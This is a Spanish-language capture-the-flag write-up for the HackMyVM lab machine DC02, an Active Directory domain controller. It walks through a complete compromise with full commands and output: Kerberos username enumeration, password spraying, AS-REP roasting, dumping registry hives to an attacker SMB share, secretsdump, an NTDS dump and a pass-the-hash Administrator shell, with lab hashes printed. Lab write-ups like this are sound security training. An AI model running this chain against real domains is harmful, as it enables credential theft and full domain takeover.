💻 Máquina DC02 - HackMyVm
Reconocimiento
Lo primero que haremos será identificar la dirección IP de la máquina objetivo. Para ello utilizamos arp-scan, una herramienta muy útil para descubrir hosts activos en la red.
1
2
3
4
5
6
7
8
9
sudo arp-scan -I eth1 10.10.10.0/24
Interface: eth1, type: EN10MB, MAC: 08:00:27:41:0a:fa, IPv4: 10.10.10.101
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.10.10.1 0a:00:27:00:00:0a (Unknown: locally administered)
10.10.10.100 08:00:27:d9:35:88 PCS Systemtechnik GmbH
10.10.10.103 08:00:27:8a:a3:d7 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.046 seconds (125.12 hosts/sec). 3 responded
Una vez identificada la dirección IP de la máquina (10.10.10.103), continuamos con un escaneo inicial utilizando Nmap para obtener información sobre los servicios expuestos y posibles vectores de ataque.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sudo nmap -sSCV -p- -n --min-rate 5000 10.10.10.103 -vvv -oN scan
Nmap scan report for 10.10.10.103
Host is up, received arp-response (0.0011s latency).
Scanned at 2026-02-12 03:32:34 EST for 137s
Not shown: 65518 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 128 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 128 Microsoft Windows Kerberos (server time: 2026-02-12 17:33:22Z)
135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 128
464/tcp open kpasswd5? syn-ack ttl 128
593/tcp open ncacn_http syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 128
3268/tcp open ldap syn-ack ttl 128 Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 128
5985/tcp open http syn-ack ttl 128 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 128 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
49668/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack ttl 128 Microsoft Windows RPC over HTTP 1.0
49683/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 08:00:27:8A:A3:D7 (Oracle VirtualBox virtual NIC)
nxc smb 10.10.10.103
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
A partir de esta información podemos identificar el nombre del dominio, aunque para confirmarlo utilizaremos nxc.
1
2
nxc smb 10.10.10.103
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
Ahora sí, confirmamos que el dominio es SOUPEDECODE.LOCAL y que el hostname corresponde a DC01. Con esta información, añadimos ambos al archivo /etc/hosts.
A continuación intentamos enumerar usuarios utilizando nxc contra el servicio SMB, aunque no obtenemos resultados útiles.
Tampoco conseguimos información relevante a través de los servicios LDAP ni RPC.
Dado que estos vectores no nos proporcionan nada, pasamos a realizar un ataque de fuerza bruta de usuarios utilizando kerbrute, con la esperanza de identificar alguna cuenta válida.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
kerbrute userenum --dc 10.10.10.103 -d SOUPEDECODE.LOCAL /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 02/12/26 - Ronnie Flathers @ropnop
2026/02/12 03:39:23 > Using KDC(s):
2026/02/12 03:39:23 > 10.10.10.103:88
2026/02/12 03:39:23 > [+] VALID USERNAME: admin@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 > [+] VALID USERNAME: charlie@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 > [+] VALID USERNAME: Charlie@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 > [+] VALID USERNAME: administrator@SOUPEDECODE.LOCAL
2026/02/12 03:39:23 > [+] VALID USERNAME: Admin@SOUPEDECODE.LOCAL
2026/02/12 03:39:26 > [+] VALID USERNAME: Administrator@SOUPEDECODE.LOCAL
2026/02/12 03:39:27 > [+] VALID USERNAME: CHARLIE@SOUPEDECODE.LOCAL
2026/02/12 03:39:50 > [+] VALID USERNAME: ADMIN@SOUPEDECODE.LOCAL
Explotación
Como podemos ver, hemos obtenido varios usuarios válidos. Esto nos permite intentar un AS-REP Roasting attack, ya que no disponemos de credenciales para ninguno de ellos.
Sin embargo, una vez más, no conseguimos ningún resultado.
Como alternativa, probamos un ataque de password spraying utilizando la técnica clásica de comprobar si el usuario y la contraseña son iguales.
1
2
3
4
5
6
7
8
9
10
11
nxc smb 10.10.10.103 -u users -p users --no-bruteforce --continue-on-success
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\admin:admin STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\Charlie:Charlie STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\administrator:administrator STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\Admin:Admin STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\CHARLIE:CHARLIE STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\ADMIN:ADMIN STATUS_LOGON_FAILURE
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\: STATUS_ACCESS_DENIED
Y como podemos observar, obtenemos las credenciales válidas charlie : charlie.
Con ellas, procedemos a enumerar los recursos compartidos disponibles en el sistema para ver si encontramos información útil o algún punto de entrada adicional.
1
2
3
4
5
6
7
8
9
10
11
nxc smb 10.10.10.103 -u 'charlie' -p 'charlie' --shares
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.10.10.103 445 DC01 [+] SOUPEDECODE.LOCAL\charlie:charlie
SMB 10.10.10.103 445 DC01 [*] Enumerated shares
SMB 10.10.10.103 445 DC01 Share Permissions Remark
SMB 10.10.10.103 445 DC01 ----- ----------- ------
SMB 10.10.10.103 445 DC01 ADMIN$ Remote Admin
SMB 10.10.10.103 445 DC01 C$ Default share
SMB 10.10.10.103 445 DC01 IPC$ READ Remote IPC
SMB 10.10.10.103 445 DC01 NETLOGON READ Logon server share
SMB 10.10.10.103 445 DC01 SYSVOL READ Logon server share
Esta parte resulta ser un pequeño rabbit hole, ya que no encontramos nada útil en los recursos compartidos.
Ahora que contamos con un usuario y una contraseña válidos, intentamos realizar Kerberoasting, aunque nuevamente no obtenemos ningún resultado.
Sin embargo, disponer de credenciales nos permite utilizar nxc junto con el servicio SMB para enumerar todos los usuarios del dominio, así que procedemos a hacerlo.
1
nxc smb 10.10.10.103 -u 'charlie' -p 'charlie' --users | awk 'NR>3 {print $5}'| > domain_users.txt
Con esto ya conseguimos obtener todos los usuarios del dominio.
Dado que seguimos sin disponer de credenciales adicionales, podemos volver a intentar el ataque AS-REP Roast para comprobar si alguno de estos usuarios no requiere preautenticación Kerberos.
1
2
3
4
5
6
7
nxc ldap 10.10.10.103 -u domain_users.txt -p '' --asreproast asrep_hashes.txt
LDAP 10.10.10.103 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:None) (channel binding:No TLS cert)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
LDAP 10.10.10.103 389 DC01 $krb5asrep$23$zximena448@SOUPEDECODE.LOCAL:303af66d7dd435d68f2550bcfc6c6988$714d5761f1149430601c176c405db7111b392c8f40e5d436782d5a866e205bb70956f6d687735bbf1ef4bedef8a6de08181a2cf00c45fc4ac0abcacbd3ee688d97a318915fcd95cd64a18c774960f58d549473657cfd86aa92bf107870343e97b8a7e7b918ac89537c6b13db0a4a117808999e5b51cd524d42c45ae867c2694ba92e740b876ecf8141b5fb71b67affa981fed65358f38e26b5474130e73ff4a978f190caaed53540331d64c7a8a7cdbd06d5fa95f7f2ee69ba62b0889d3d9d54e9c463c1de8fd2e09dd34ff31d5a48db772cf2b287dc0dc4fa2119d98ed55ab162da58874322eebf804d640a351794fa158f9f6a1ab7
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Y ahora sí, conseguimos extraer un hash válido. Procedemos a crackearlo con hashcat para intentar recuperar la contraseña en texto claro.
Tras el proceso de cracking, obtenemos las siguientes credenciales: zximena448 : internet.
1
2
3
nxc smb 10.10.10.103 -u 'zximena448' -p 'internet'
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.10.10.103 445 DC01 [+] SOUPEDECODE.LOCAL\zximena448:internet
Y efectivamente, las credenciales funcionan correctamente. Sin embargo, al no aparecer el estado pwned, no podemos obtener una shell directamente sobre la máquina víctima mediante este vector.
Post Explotación
Llegados a este punto, podemos utilizar BloodHound para enumerar más a fondo el dominio y analizar las relaciones entre usuarios, grupos, equipos y permisos. Esto nos permitirá identificar posibles rutas de ataque que no son evidentes mediante la enumeración manual.
1
2
3
4
5
6
7
8
9
10
11
12
dnschef --fakeip 10.10.10.103
_ _ __
| | version 0.4 | | / _|
__| |_ __ ___ ___| |__ ___| |_
/ _` | '_ \/ __|/ __| '_ \ / _ \ _|
| (_| | | | \__ \ (__| | | | __/ |
\__,_|_| |_|___/\___|_| |_|\___|_|
iphelix@thesprawl.org
(14:49:39) [*] DNSChef started on interface: 127.0.0.1
(14:49:39) [*] Using the following nameservers: 8.8.8.8
(14:49:39) [*] Cooking all A replies to point to 10.10.10.103
1
bloodhound-python -u zximena448 -p internet -ns 127.0.0.1 -d SOUPEDECODE.LOCAL -dc DC01.SOUPEDECODE.LOCAL --zip
1
2
3
neo4j start &
bloodhound&
Importamos el zip y buscamos el usuario zximena448.
Somos miembros del grupo Backup, lo que nos permite realizar un volcado del Domain Controller. Sin embargo, al no ser administradores, no podemos ejecutar directamente un DCSync, así que necesitamos recurrir a otro método para obtener los hashes del dominio.
Para ello, vamos a seguir los siguientes tres pasos que nos permitirán dumpear algunos hashes de manera efectiva.
- Levantamos servicio SMB compartido con el DC
1
impacket-smbserver -smb2support share . -smb2support &
- Conseguimos las claves de registro (SAM, SYSTEM, SECURITY)
1
2
3
4
5
6
7
impacket-reg -dc-ip 10.10.10.103 SOUPEDECODE.LOCAL/zximena448:internet@10.10.10.103 backup -o '\\10.10.10.101\share'
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\10.10.10.101\share\SAM.save
[*] Saved HKLM\SYSTEM to \\10.10.10.101\share\SYSTEM.save
[*] Saved HKLM\SECURITY to \\10.10.10.101\share\SECURITY.save
- Desvelamos los hashes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:810b85071239ce96635b029bd4175418e9acdb9fd4124b23a953feb3ec867c72f28bb9ae4181596f876c28ff8952fc1eb44de10078124122d7647a397700862dbfcb5aa79a17712328c132b9cf498bff0daa8179c4c38f2e762f979a32ee5c9323f50c9f232feb26bddfc1e35f33a1f22f251043dddec017c40c86fbef228ed27d427a5be3c6d2478cd9088df6f1d9b49a49b33ffbebfce0f885c87f4509d3d9f74e30f02d5ec909a2fa3b5eaf8441b2f4430b12ab611ef81e70aa62ef3616f5e37a038d2212feacc8c76acabda6cb68dc60986f0bf0ba6025d6ce95268abd050efa5be3287d9d2403cce44dd5b6afbc
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:84970264a9b45ce267d16420e393f75f
[*] DPAPI_SYSTEM
dpapi_machinekey:0x829d1c0e3b8fdffdc9c86535eac96158d8841cf4
dpapi_userkey:0x4813ee82e68a3bf9fec7813e867b42628ccd9503
[*] NL$KM
0000 44 C5 ED CE F5 0E BF 0C 15 63 8B 8D 2F A3 06 8F D........c../...
0010 62 4D CA D9 55 20 44 41 75 55 3E 85 82 06 21 14 bM..U DAuU>...!.
0020 8E FA A1 77 0A 9C 0D A4 9A 96 44 7C FC 89 63 91 ...w......D|..c.
0030 69 02 53 95 1F ED 0E 77 B5 24 17 BE 6E 80 A9 91 i.S....w.$..n...
NL$KM:44c5edcef50ebf0c15638b8d2fa3068f624dcad95520444175553e85820621148efaa1770a9c0da49a96447cfc896391690253951fed0e77b52417be6e80a991
[*] Cleaning up...
Vemos que obtenemos un hash perteneciente al administrador, así que procedemos a comprobar si es válido para autenticarnos en el dominio.
1
2
3
nxc smb 10.10.10.103 -u 'Administrator' -H '209c6174da490caeb422f3fa5a7ae634'
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.10.10.103 445 DC01 [-] SOUPEDECODE.LOCAL\Administrator:209c6174da490caeb422f3fa5a7ae634 STATUS_LOGON_FAILURE
Pero en este caso el hash no resulta válido.
También encontramos un hash correspondiente a una máquina del dominio, pero al igual que ocurre con el del Administrador, tampoco es válido para autenticarnos directamente.
Aun así, podemos intentar realizar password spraying utilizando ese hash contra otras máquinas del dominio, por si alguna de ellas comparte la misma contraseña o configuración.
1
2
3
4
5
6
7
8
unzip 20260212042302_bloodhound.zip
Archive: 20260212042302_bloodhound.zip
extracting: 20260212042302_groups.json
extracting: 20260212042302_domains.json
extracting: 20260212042302_computers.json
extracting: 20260212042302_users.json
cat 20260212042302_computers.json | jq . | grep samaccountname | cut -d '"' -f4 > machines.txt
1
2
3
nxc smb 10.10.10.103 -u machines -H 84970264a9b45ce267d16420e393f75f | grep -v '[-]'
SMB SOUPEDECODE.LOCAL 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
SMB SOUPEDECODE.LOCAL 445 DC01 [+] SOUPEDECODE.LOCAL\DC01$:84970264a9b45ce267d16420e393f75f
Y encontramos un hash válido para el usuario DC01$.
Si revisamos en BloodHound los grupos a los que pertenece esta cuenta de máquina, vemos que forma parte de Domain Admins. Gracias a esto, ahora sí podemos realizar un DCSync y obtener todos los hashes del dominio.
1
2
3
4
5
6
7
nxc smb 10.10.10.103 -u 'DC01$' -H 84970264a9b45ce267d16420e393f75f --ntds
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.10.10.103 445 DC01 [+] SOUPEDECODE.LOCAL\DC01$:84970264a9b45ce267d16420e393f75f
SMB 10.10.10.103 445 DC01 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB 10.10.10.103 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.10.10.103 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:8982babd4da89d33210779a6c5b078bd:::
SMB 10.10.10.103 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::
Y el proceso nos devuelve todos los hashes del dominio, aunque en nuestro caso solo nos interesa el del usuario Administrador.
1
2
3
nxc smb 10.10.10.103 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd'
SMB 10.10.10.103 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:None)
SMB 10.10.10.103 445 DC01 [+] SOUPEDECODE.LOCAL\Administrator:8982babd4da89d33210779a6c5b078bd (Pwn3d!)
Y ahora sí, somos admin.
Lanzamos evil-winrm.
1
2
3
4
5
6
7
8
9
10
evil-winrm -i 10.10.10.103 -u 'Administrator' -H '8982babd4da89d33210779a6c5b078bd'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Y podemos leer tanto user.txt como root.txt.
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/12/2024 1:01 PM 33 root.txt
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\zximena448\Desktop> dir
Directory: C:\Users\zximena448\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/12/2024 1:01 PM 33 user.txt

